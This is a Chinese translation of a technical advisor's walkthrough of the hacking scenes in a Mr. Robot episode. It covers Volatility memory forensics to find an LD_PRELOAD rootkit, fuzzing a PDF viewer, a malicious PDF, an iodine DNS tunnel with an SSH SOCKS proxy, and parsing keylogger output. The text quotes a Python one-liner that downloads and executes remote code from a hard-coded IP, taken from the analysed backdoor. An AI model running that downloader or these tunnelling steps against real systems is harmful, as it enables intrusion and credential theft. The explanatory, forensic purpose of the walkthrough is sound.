驱蚊器喵的翻译平台

Can you hear the gravity?

  1. 1. 寻找 rootkit
  2. 2. 编写一个漏洞利用程序
  3. 3. 黑客回击(使用隧道中的隧道)

《Mr. Robot》是我看过的最为精彩的黑客电视剧,剧中有大量真实的黑客元素,几年前看的时候有些看不太懂,直到最近才发现《Mr. Robot》技术顾问 Ryan Kazanciyan 写的揭秘文章,文章内有一些创作来源和幕后故事,看了以后觉得非常有趣,决定翻译后放到翻译平台上。


原文地址:https://medium.com/@ryankazanciyan/mr-robot-disassembled-eps3-8-stage3-torrent-8b80e14fc6fb
原文标题:Mr. Robot Disassembled: eps3.8_stage3.torrent
原文作者:Ryan Kazanciyan
原文写于:2017/12/07

译者:驱蚊器喵#ΦωΦ
翻译水平有限,有不通顺的语句,请见谅。


朋友们你们好。我是 Ryan Kazanciyan,《Mr. Robot》 的技术顾问。从第二季的后半部分,我开始与 Kor Adana (作家、制片人和 ARG 背后的策划者) ,以及《Mr. Robot》团队的其他成员一起工作。在整个第三季中,我将负责编写剧中描述的黑客,他们是如何聚集在一起的,以及他们的现实基础。

剧透警告! 本文讨论的是第三季第 9 集中的故事。


欢迎回来! 上周的剧情很棒,没有黑客事件,但让我有机会可以休息一下,回顾了 Kor 和我为本季剩余剧集收集的制作笔记。这是一个明智的举动,因为我已经失去了对 “eps3.8_stage3.torrent” 的技术场景所做的大量工作的跟踪。准确地说,有20页笔记、7个视频剪辑、12个屏幕截图和5个虚拟机快照。

在本周的文章中,我想提供一个完整的攻略,说明 Elliot 是如何入侵 Dark Army 的,包括所有残酷的细节,供我们精通信息安全的观众(和那些渴望了解更多的人)参考。攻击顺序包含了从内存取证到模糊测试和漏洞开发、rootkit 以及隐秘的 C2C 服务器的所有内容。我们的目的不是为了复杂而复杂。入侵 Dark Army 不是低级或容易的事,即使对 Elliot 来说也是如此。

我们的标准现实主义免责声明适用。我们必须采取创造性的许可,并适应故事所引导的浓缩时间框架。整个袭击事件在剧集结束前的短短几分钟内就发生了。在该剧的世界观中,这些事件发生在多个小时内。在现实世界中,这将是几天或几周。但每个步骤背后的过程和细节仍然是真实的。

寻找 rootkit

Elliot 的计划以一个冒险的举动开始:他必须故意把自己置于危险之中。他安排与 Grant 会面,谈论 “第三阶段”,表面上是黑进 Ecoin,给 E 公司以致命一击。事实上,他预计 Dark Army 的特工会没收他的笔记本电脑并安装恶意软件,试图监视他。这为 Elliot 提供了一丝机会,让他可以扭转局面,攻击 Dark Army 的系统。

会议如期进行, Elliot 活着回家,并且毫发无损。狩猎开始了:他需要确认他的系统被感染,找到恶意软件,并评估恶意软件的能力。软件是否记录击键?是否窃取文件?它与哪些 C2 地址交互?

正如我在以前的文章中所述,我在事件响应和漏洞调查方面花费的时间比在安全方面中的任何其他领域都多。所以我决定在这个场景中全力以赴,通过 Elliot 引导我内心的书呆子,让 Elliot 展示他的一些取证技能。

当我们第一次切到他的屏幕时,我们看到他一直在使用最广泛使用的内存取证工具, Volatility Framework。在这一点上, Elliot 已经将内存从他的受感染系统中转储到一个名为 “out.mem” 的文件中,并将其转移到一个干净的分析系统中。他现在正在进行一系列的分析步骤,寻找 Dark Army 的恶意软件。

为什么 Elliot 要依靠内存取证而不是其他工具或技术? Dark Army 可能用 rootkit 感染了他的系统,有效地将他们的恶意软件隐藏在操作系统和其他软件中。内存分析可以提供一个底层的、没有掺杂的系统上证据。处于内存中的产物也可以提供对最近活动的分析,包括恶意软件的使用,这些东西可能只有在内存中才能找到。

Elliot 使用 Volatility 来寻找内存中的 rootkit 的证据

所有这些照片都是基于对一个真实内存镜像的分析,这个内存镜像来自我在家庭实验室里建立的一个感染了 rookit 的 Linux 系统。让我们来看看每个命令。

1
vol.py -f out.mem --profile=kali linux_find_file -F /etc/ld.so.preload

第一个参数,--profile kali,告诉 Volatility 如何解析内存快照;也就是说,内存快照来自什么类型的系统。”kali” 不是一个开箱即用的配置文件;在这一步之前,Elliot 已经设置好了 “kali” 的配置文件。这个命令的第二部分,linux_find_file -F /etc/ld.so.preload,搜索已经缓存在内存中的文件。输出结果,0xffff880028c740c0,是一个 inode 值,一个地址,描述文件在磁盘上的位置。

1
vol.py -f out.mem --profile=kali linux_find_file -i 0xffff880028c740c0 -O ld.so.preload

同样的插件,linux_find_file,但用法不同。这些命令行参数告诉 Volatility 在指定的 inode 地址转储内存缓存文件的内容。”-O “指定了转储的输出文件名:ld.so.preload。我们稍后将讨论这个文件的含义。

1
cat ld.so.preload

显示上一步从内存中转储出的 ld.so.preload 的文件内容。文件中只有一行: /usr/local/lib/libhd.so。Linux 中的 “.so” 文件类似于 Windows 中的 DLL ,是一个包含代码的库,可以被进程加载和使用。

1
vol.py -f out.mem --profile=kali linux_proc_maps | grep libhd.so

linux_proc_maps 插件揭示了正在运行进程的内存空间的细节,包括它们使用的共享库的引用。这个命令的输出被管道输送到 grep libhd.so。简而言之,Elliot 正在寻找使用 libhd.so 代码的进程。这个命令输出了两行结果,命中了进程 ID 39238,一个 Python 的实例。

让我们停一下,为什么 Elliot 一开始就对 /etc/ld.so.preload 文件感兴趣?他在寻找一个调试功能的证据,LD_PRELOAD,许多 Linux rootkits 滥用这个功能来隐藏他们的痕迹。LD_PRELOAD 允许你指定一个 “.so” 文件,在任何其他库之前被加载。如果该库实现了任何功能,例如,那些用于列出进程或网络连接的功能,这将覆盖从标准系统库调用的功能。

好吧,libhd.so 就是那个 rootkit。但它的隐藏自己目的是什么?最后两个 Volatility 命令揭示了更多信息。

1
vol.py -f out.mem --profile=kali --pid=39238 linux_psaux

列出了 PID 39238 的基本细节,由上一条命令确定的 Python 进程。进程的参数看起来绝对是可疑的。

Volatility 进程列表插件 "linux_psaux" 的输出,暴露出了一个基于 Python 的后门
1
python -c import urllib;exec urllib.urlopen("http://192.251.68.228/index").read()

这是一个通过 Python 进程运行的二级后门,被 rootkit 隐藏起来。通过命令行传递的一行指令,下载并执行托管在指定 URL 的任何 Python 代码。在我的虚拟机中构建这一方案时,我用 Pupy 生成了一个基于 Python 的后门。

最后一条 Volatility 命令

1
vol.py -f out.mem --profile=kali --pid=39238 -D dump/ linux_procdump

这将后门进程的内存转储到一个目录,允许 Elliot 对其行为和能力进行深入分析。

编写一个漏洞利用程序

下一次我们切到 Elliot 的屏幕,我们已经跳过了一些时间,可以推断,他已经完成了审查 Dark Army 在他系统中的后门。在其他功能中,该恶意软件监控他的活动,并将任何新创建的文件传输到他们的一个 C2 服务器。

当复杂的攻击团队从受害者那里窃取大量数据时,他们往往有一个后端,可以自动收集和索引过程。但 Elliot 是一个高度优先的目标。可以合理地推断, Dark Army 可能将指派一名人类分析员来人工审查从他的系统中窃取的任何有趣文件。这就给了 Elliot 一个机会,让他植入一个恶意的 PDF 文件,并等待 Dark Army 的操作员来打开。

Elliot 可能从之前与 Dark Army 的交易中获得了一些先见之明,但他无法确定受害者可能会使用哪种 PDF 浏览器。为了最大限度地提高成功率,他很可能必须将多个漏洞利用程序捆绑在一起,包括一些未打补丁的 0day 漏洞。即使他有一堆漏洞和事先的研究来启动他的努力,所有这些工作仍可能需要几天或几周的时间。为了在这个场景的限制下工作,我们不得不采用一些创造性的设定,将工作减少到几小时。

不管时间如何,我想确保我们捕捉到漏洞发现过程中的准确元素。这要从找到一个可以被利用来执行恶意代码的漏洞开始。

漏洞研究的工具: afl-fuzz 和 gdb

这个镜头包括两个窗口:后面的是 American Fuzzy Lop (afl-fuzz),前面的是 GNU 调试器 (gdb)。Afl-fuzz 是一个 “模糊测试工具(fuzzer)”,一个自动生成大量无效数据的工具,通过一个应用程序的输入运行,并监测崩溃和其他错误。除了因其强大的功能而受到漏洞猎人的欢迎外,afl-fuzz 在运行中看起来非常酷(尤其是对于一个控制台应用程序来说),所以我认为它很适合这个场景。

注意窗口顶部的文字:american fuzzy lop 1.83b (evince) 。”evince” 是被模糊测试的应用程序的标题,它是许多 Linux 发行版的默认 PDF 浏览器。这告诉我们,Elliot 计划将他的漏洞嵌入到一个文档文件中。

afl-fuzz 屏幕的原型图

一个模糊测试工具可能会识别出几十个崩溃;下一步是评估其中的哪些崩溃可能导致可利用的漏洞。这就是前台窗口中的 gdb 调试器发挥作用的地方。根据提示,我们可以看到 Elliot 正在使用一个插件,”gdp-peda“,这个插件为漏洞开发提供了有用的功能。

他首先使用 gdb “run” 命令来重放 afl-fuzz 识别到的一个崩溃场景。

Gdb 报告了一个分段错误(segmentation fault)。

在加载由 afl-fuzz 产生的一个畸形输入后,evince 出现分段错误

这个错误是否可以利用? Elliot 将进行进一步的分析,检查崩溃时的系统状态。在我最初的模拟中,我还设计了一些他在 gdb 中运行额外命令的画面。由于时间关系,这些画面最后被删掉了。

原型图 — Elliot 用 gdb-peda 做一些额外的崩溃分析

为了记录,不,我实际上并没有在 “evince” 中发现任何可利用的漏洞。afl-fuzz 和 gdb 屏幕都是基于这些工具的真实用法,但我选择了(重新命名)另一个有很多崩溃漏洞的二进制文件作为目标)。

下一个屏幕是在时间上的另一次跳跃之后出现的。Elliot 正在编写基于 Python 的漏洞代码,利用他在模糊测试中发现的一个漏洞。该窗口包含 shellcode,以及携带有效载荷(payload)的 PDF 文件:”ecoin_vuln_notes.pdf”。

Elliot 对 "evince" 进行 漏洞利用的 Shellcode 代码

在完成漏洞利用程序以及捆绑需要传递的恶意软件后,Elliot 可以将文件复制到他受感染的系统中。然后就是等待 Dark Army 上钩了。

黑客回击(使用隧道中的隧道)

一个 Dark Army 的操作者,负责查看满是被盗文件收件箱的枯燥工作,打开了 Elliot 的 PDF 文件。PDF 查看器 “evince” 启动,稍作延迟后,显示了文件,一个世俗的 Ecoin 贷款广告。在不知情的情况下,他关闭了文件并继续查看。当然,这足以触发 Elliot 的漏洞,并实行攻击的第一阶段。

一个 Dark Army 的操作员上钩,打开了 Elliot 的 PDF 文件

在背景中,我们看到 Dark Army 一部分基于网络的控制面板。这个网站是 Elliot 的最终目标:如果有正确的访问权限,它将提供能力来监控和管理他们在世界各地的所有受感染系统(肉鸡)。当然,这个网站不仅仅是在互联网上,它还在 Dark Army 的私人网络上。 Elliot 需要通过隧道进入运营商的受感染系统,并沿途窃取他的登录凭证。

我希望 Elliot 最初的妥协是能建立一个隐蔽的 C2C 通道,来绕过典型的防火墙规则。我最终围绕一个叫做 iodine 的开源工具设计了接下来的几个镜头,这个工具提供了通过 DNS 隧道传输 IPv4 流量的能力。这就建立了从受感染的操作员系统回到 Elliot 的控制服务器的通信通道。

在又一次时间跳跃之后,我们回到了 Elliot 的屏幕上。在这个空档期,Elliot 利用他在运营商系统上的入口来设置 iodine 工具和窃取 SSH 密钥,并安装额外的恶意软件。

Elliot 连接到 Dark Army 操作员的受感染系统

左边的窗口显示 Elliot 设置了 DNS 隧道的接收端,并为他的服务器分配了一个不可路由的 IPv4 地址,以便在隧道内使用。

1
2
3
4
5
6
7
root@kali:~# iodined -f 172.17.0.1 u1rbr0uz.net
Enter password:
Opened dns0
Setting IP of dns0 to 172.17.0.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain test.com

右边的窗口显示 Elliot 使用之前偷来的 SSH 密钥,在隧道内,SSH 到了受害者系统自己的地址。

1
2
root@kali:~# ssh [email protected] -q -C -D 22381
Welcome to Ubuntu Kylin 14.04.3 LTS (GNU/Linux 3.19.0–25-generic i686)

SSH 选项 “-D 22381” 通过连接设置了一个 SOCKS 代理,绑定到本地端口 22381。 Elliot 现在可以配置一个浏览器来使用该代理端点,并通过 Dark Army 运营商的系统路由他的网络访问。这是一个疯狂的嵌套式隧道。HTTP 通过 SSH 通过 DNS 通过 iodine。这真的有效(为了确定,我在实验室里测试了它),尽管速度很慢。

有了这个连接, Elliot 就有能力访问 Dark Army 内网中的基础设施。但他仍然需要一个 URL 以及用户名和密码来登录到控制面板上。

Elliot 攻击的第一阶段,没有在屏幕上展现出来,在 “garyhost” 上投放了一个键盘记录器。在下一个屏幕中,我们看到 Elliot 在搜索记录器迄今为止捕获的数据。

Elliot 搜索键盘记录器的输出文件。ARG 的粉丝们可能想尝试连接到该 IP ...

Elliot 将三个命令串在一起

1
cat /dev/nu11

显示键盘记录器输出文件的内容,输出文件被伪装成合法的 Unix 设备 “/dev/null”(注意数字 1 用来代替字母 “l”)。

1
sed 's/\[ENTR\]/&\n/g'

每当键盘记录器记录 “[ENTR]” 键时,解析输出来产生一个新行。这只是为了可读性和便于分析。

1
grep -C 1 -i garyhost

搜索字符串 “garyhost” (Dark Army 操作员的用户名),并返回匹配行的上、下一行。 Elliot 试图找到一个地址、用户名和密码的连续输入顺序。他得到了一个结果。

1
2
3
192.251.68.236[ENTR]
garyhost[ENTR]
huntr[BS]er3[BS]2[ENTR]

键盘记录器的序列 “[BS]” 代表退格,所以 Gary 的密码是 “hunter2”。这个密码太简单了,看起来 Dark Army 应该加强他们的内部网络应用的凭证(或双因素认证)。

Elliot 登录了。密码是有效的。他现在拥有了 Dark Army ,或者至少是他们基础设施的一个关键部分。通过访问他们基于网络的控制面板,他可以看到他们在全球范围内的真实规模和黑客攻击程度。

原型图:Dark Army 主控制面板

请注意地图左边列出的组织。 Dark Army 显然一直很忙。其中许多展示了政府机构和非营利组织在现实世界中受到了中国民族国家黑客和其他威胁组织的破坏。

安全研究人员可能认识到,我们的设计在很大程度上受到 “Beta Bot” 恶意软件控制面板的启发,如下图所示。

基于 Web 的 "Beta Bot" 僵尸网络的控制面板

许多 C2C 框架,特别是那些用于管理世界上最大的僵尸网络,都有令人惊讶、精心设计的用户界面!


如果你已经看到这了,你可能已经发现了,与 Trenton 的电子邮件、Romero 的键盘记录器或FBI Sentinel(哨兵系统) 有关的东西还没有出现。在第三季即将结束时,还有一些秘密,和黑客故事要揭开。我将在下周回来,用最后一期 “Mr. Robot: 镜头拆解” 讲述所有这些秘密。

本文作者 : meow
This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接 : https://translation.meow.page/post/mr-robot-disassembled-eps3-8-stage3-torrent/

本文最后更新于 天前,文中所描述的信息可能已发生改变